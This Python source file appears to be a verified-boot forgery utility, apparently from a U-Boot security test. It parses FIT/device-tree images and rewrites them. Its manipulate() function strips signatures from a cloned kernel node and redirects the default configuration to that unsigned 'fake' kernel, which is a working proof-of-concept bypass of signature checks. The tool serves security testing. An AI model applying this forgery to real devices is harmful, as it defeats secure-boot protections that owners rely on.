1#!/usr/bin/python3
2# SPDX-License-Identifier: GPL-2.0
3# Copyright (c) 2020, F-Secure Corporation, https://foundry.f-secure.com
4#
5# pylint: disable=E1101,W0201,C0103
6
7"""
8Verified boot image forgery tools and utilities
9
10This module provides services to both take apart and regenerate FIT images
11in a way that preserves all existing verified boot signatures, unless you
12manipulate nodes in the process.
13"""
14
15import struct
16import binascii
17from io import BytesIO
18
19#
20# struct parsing helpers
21#
22
23class BetterStructMeta(type):
24    """
25    Preprocesses field definitions and creates a struct.Struct instance from them
26    """
27    def __new__(cls, clsname, superclasses, attributedict):
28        if clsname != 'BetterStruct':
29            fields = attributedict['__fields__']
30            field_types = [_[0] for _ in fields]
31            field_names = [_[1] for _ in fields if _[1] is not None]
32            attributedict['__names__'] = field_names
33            s = struct.Struct(attributedict.get('__endian__', '') + ''.join(field_types))
34            attributedict['__struct__'] = s
35            attributedict['size'] = s.size
36        return type.__new__(cls, clsname, superclasses, attributedict)
37
38class BetterStruct(metaclass=BetterStructMeta):
39    """
40    Base class for better structures
41    """
42    def __init__(self):
43        for t, n in self.__fields__:
44            if 's' in t:
45                setattr(self, n, '')
46            elif t in ('Q', 'I', 'H', 'B'):
47                setattr(self, n, 0)
48
49    @classmethod
50    def unpack_from(cls, buffer, offset=0):
51        """
52        Unpack structure instance from a buffer
53        """
54        fields = cls.__struct__.unpack_from(buffer, offset)
55        instance = cls()
56        for n, v in zip(cls.__names__, fields):
57            setattr(instance, n, v)
58        return instance
59
60    def pack(self):
61        """
62        Pack structure instance into bytes
63        """
64        return self.__struct__.pack(*[getattr(self, n) for n in self.__names__])
65
66    def __str__(self):
67        items = ["'%s': %s" % (n, repr(getattr(self, n))) for n in self.__names__ if n is not None]
68        return '(' + ', '.join(items) + ')'
69
70#
71# some defs for flat DT data
72#
73
74class HeaderV17(BetterStruct):
75    __endian__ = '>'
76    __fields__ = [
77        ('I', 'magic'),
78        ('I', 'totalsize'),
79        ('I', 'off_dt_struct'),
80        ('I', 'off_dt_strings'),
81        ('I', 'off_mem_rsvmap'),
82        ('I', 'version'),
83        ('I', 'last_comp_version'),
84        ('I', 'boot_cpuid_phys'),
85        ('I', 'size_dt_strings'),
86        ('I', 'size_dt_struct'),
87    ]
88
89class RRHeader(BetterStruct):
90    __endian__ = '>'
91    __fields__ = [
92        ('Q', 'address'),
93        ('Q', 'size'),
94    ]
95
96class PropHeader(BetterStruct):
97    __endian__ = '>'
98    __fields__ = [
99        ('I', 'value_size'),
100        ('I', 'name_offset'),
101    ]
102
103# magical constants for DTB format
104OF_DT_HEADER = 0xd00dfeed
105OF_DT_BEGIN_NODE = 1
106OF_DT_END_NODE = 2
107OF_DT_PROP = 3
108OF_DT_END = 9
109
110class StringsBlock:
111    """
112    Represents a parsed device tree string block
113    """
114    def __init__(self, values=None):
115        if values is None:
116            self.values = []
117        else:
118            self.values = values
119
120    def __getitem__(self, at):
121        if isinstance(at, str):
122            offset = 0
123            for value in self.values:
124                if value == at:
125                    break
126                offset += len(value) + 1
127            else:
128                self.values.append(at)
129            return offset
130
131        if isinstance(at, int):
132            offset = 0
133            for value in self.values:
134                if offset == at:
135                    return value
136                offset += len(value) + 1
137            raise IndexError('no string found corresponding to the given offset')
138
139        raise TypeError('only strings and integers are accepted')
140
141class Prop:
142    """
143    Represents a parsed device tree property
144    """
145    def __init__(self, name=None, value=None):
146        self.name = name
147        self.value = value
148
149    def clone(self):
150        return Prop(self.name, self.value)
151
152    def __repr__(self):
153        return "<Prop(name='%s', value=%s>" % (self.name, repr(self.value))
154
155class Node:
156    """
157    Represents a parsed device tree node
158    """
159    def __init__(self, name=None):
160        self.name = name
161        self.props = []
162        self.children = []
163
164    def clone(self):
165        o = Node(self.name)
166        o.props = [x.clone() for x in self.props]
167        o.children = [x.clone() for x in self.children]
168        return o
169
170    def __getitem__(self, index):
171        return self.children[index]
172
173    def __repr__(self):
174        return "<Node('%s'), %s, %s>" % (self.name, repr(self.props), repr(self.children))
175
176#
177# flat DT to memory
178#
179
180def parse_strings(strings):
181    """
182    Converts the bytes into a StringsBlock instance so it is convenient to work with
183    """
184    strings = strings.split(b'\x00')
185    return StringsBlock(strings)
186
187def parse_struct(stream):
188    """
189    Parses DTB structure(s) into a Node or Prop instance
190    """
191    tag = bytearray(stream.read(4))[3]
192    if tag == OF_DT_BEGIN_NODE:
193        name = b''
194        while b'\x00' not in name:
195            name += stream.read(4)
196        name = name.rstrip(b'\x00')
197        node = Node(name)
198
199        item = parse_struct(stream)
200        while item is not None:
201            if isinstance(item, Node):
202                node.children.append(item)
203            elif isinstance(item, Prop):
204                node.props.append(item)
205            item = parse_struct(stream)
206
207        return node
208
209    if tag == OF_DT_PROP:
210        h = PropHeader.unpack_from(stream.read(PropHeader.size))
211        length = (h.value_size + 3) & (~3)
212        value = stream.read(length)[:h.value_size]
213        prop = Prop(h.name_offset, value)
214        return prop
215
216    if tag in (OF_DT_END_NODE, OF_DT_END):
217        return None
218
219    raise ValueError('unexpected tag value')
220
221def read_fdt(fp):
222    """
223    Reads and parses the flattened device tree (or derivatives like FIT)
224    """
225    header = HeaderV17.unpack_from(fp.read(HeaderV17.size))
226    if header.magic != OF_DT_HEADER:
227        raise ValueError('invalid magic value %08x; expected %08x' % (header.magic, OF_DT_HEADER))
228    # TODO: read/parse reserved regions
229    fp.seek(header.off_dt_struct)
230    structs = fp.read(header.size_dt_struct)
231    fp.seek(header.off_dt_strings)
232    strings = fp.read(header.size_dt_strings)
233    strblock = parse_strings(strings)
234    root = parse_struct(BytesIO(structs))
235
236    return root, strblock
237
238#
239# memory to flat DT
240#
241
242def compose_structs_r(item):
243    """
244    Recursive part of composing Nodes and Props into a bytearray
245    """
246    t = bytearray()
247
248    if isinstance(item, Node):
249        t.extend(struct.pack('>I', OF_DT_BEGIN_NODE))
250        if isinstance(item.name, str):
251            item.name = bytes(item.name, 'utf-8')
252        name = item.name + b'\x00'
253        if len(name) & 3:
254            name += b'\x00' * (4 - (len(name) & 3))
255        t.extend(name)
256        for p in item.props:
257            t.extend(compose_structs_r(p))
258        for c in item.children:
259            t.extend(compose_structs_r(c))
260        t.extend(struct.pack('>I', OF_DT_END_NODE))
261
262    elif isinstance(item, Prop):
263        t.extend(struct.pack('>I', OF_DT_PROP))
264        value = item.value
265        h = PropHeader()
266        h.name_offset = item.name
267        if value:
268            h.value_size = len(value)
269            t.extend(h.pack())
270            if len(value) & 3:
271                value += b'\x00' * (4 - (len(value) & 3))
272            t.extend(value)
273        else:
274            h.value_size = 0
275            t.extend(h.pack())
276
277    return t
278
279def compose_structs(root):
280    """
281    Composes the parsed Nodes into a flat bytearray instance
282    """
283    t = compose_structs_r(root)
284    t.extend(struct.pack('>I', OF_DT_END))
285    return t
286
287def compose_strings(strblock):
288    """
289    Composes the StringsBlock instance back into a bytearray instance
290    """
291    b = bytearray()
292    for s in strblock.values:
293        b.extend(s)
294        b.append(0)
295    return bytes(b)
296
297def write_fdt(root, strblock, fp):
298    """
299    Writes out a complete flattened device tree (or FIT)
300    """
301    header = HeaderV17()
302    header.magic = OF_DT_HEADER
303    header.version = 17
304    header.last_comp_version = 16
305    fp.write(header.pack())
306
307    header.off_mem_rsvmap = fp.tell()
308    fp.write(RRHeader().pack())
309
310    structs = compose_structs(root)
311    header.off_dt_struct = fp.tell()
312    header.size_dt_struct = len(structs)
313    fp.write(structs)
314
315    strings = compose_strings(strblock)
316    header.off_dt_strings = fp.tell()
317    header.size_dt_strings = len(strings)
318    fp.write(strings)
319
320    header.totalsize = fp.tell()
321
322    fp.seek(0)
323    fp.write(header.pack())
324
325#
326# pretty printing / converting to DT source
327#
328
329def as_bytes(value):
330    return ' '.join(["%02X" % x for x in value])
331
332def prety_print_value(value):
333    """
334    Formats a property value as appropriate depending on the guessed data type
335    """
336    if not value:
337        return '""'
338    if value[-1] == b'\x00':
339        printable = True
340        for x in value[:-1]:
341            x = ord(x)
342            if x != 0 and (x < 0x20 or x > 0x7F):
343                printable = False
344                break
345        if printable:
346            value = value[:-1]
347            return ', '.join('"' + x + '"' for x in value.split(b'\x00'))
348    if len(value) > 0x80:
349        return '[' + as_bytes(value[:0x80]) + ' ... ]'
350    return '[' + as_bytes(value) + ']'
351
352def pretty_print_r(node, strblock, indent=0):
353    """
354    Prints out a single node, recursing further for each of its children
355    """
356    spaces = '  ' * indent
357    print((spaces + '%s {' % (node.name.decode('utf-8') if node.name else '/')))
358    for p in node.props:
359        print((spaces + '  %s = %s;' % (strblock[p.name].decode('utf-8'), prety_print_value(p.value))))
360    for c in node.children:
361        pretty_print_r(c, strblock, indent+1)
362    print((spaces + '};'))
363
364def pretty_print(node, strblock):
365    """
366    Generates an almost-DTS formatted printout of the parsed device tree
367    """
368    print('/dts-v1/;')
369    pretty_print_r(node, strblock, 0)
370
371#
372# manipulating the DT structure
373#
374
375def manipulate(root, strblock):
376    """
377    Maliciously manipulates the structure to create a crafted FIT file
378    """
379    # locate /images/kernel-1 (frankly, it just expects it to be the first one)
380    kernel_node = root[0][0]
381    # clone it to save time filling all the properties
382    fake_kernel = kernel_node.clone()
383    # rename the node
384    fake_kernel.name = b'kernel-2'
385    # get rid of signatures/hashes
386    fake_kernel.children = []
387    # NOTE: this simply replaces the first prop... either description or data
388    # should be good for testing purposes
389    fake_kernel.props[0].value = b'Super 1337 kernel\x00'
390    # insert the new kernel node under /images
391    root[0].children.append(fake_kernel)
392
393    # modify the default configuration
394    root[1].props[0].value = b'conf-2\x00'
395    # clone the first (only?) configuration
396    fake_conf = root[1][0].clone()
397    # rename and change kernel and fdt properties to select the crafted kernel
398    fake_conf.name = b'conf-2'
399    fake_conf.props[0].value = b'kernel-2\x00'
400    fake_conf.props[1].value = b'fdt-1\x00'
401    # insert the new configuration under /configurations
402    root[1].children.append(fake_conf)
403
404    return root, strblock
405
406def main(argv):
407    with open(argv[1], 'rb') as fp:
408        root, strblock = read_fdt(fp)
409
410    print("Before:")
411    pretty_print(root, strblock)
412
413    root, strblock = manipulate(root, strblock)
414    print("After:")
415    pretty_print(root, strblock)
416
417    with open('blah', 'w+b') as fp:
418        write_fdt(root, strblock, fp)
419
420if __name__ == '__main__':
421    import sys
422    main(sys.argv)
423# EOF
424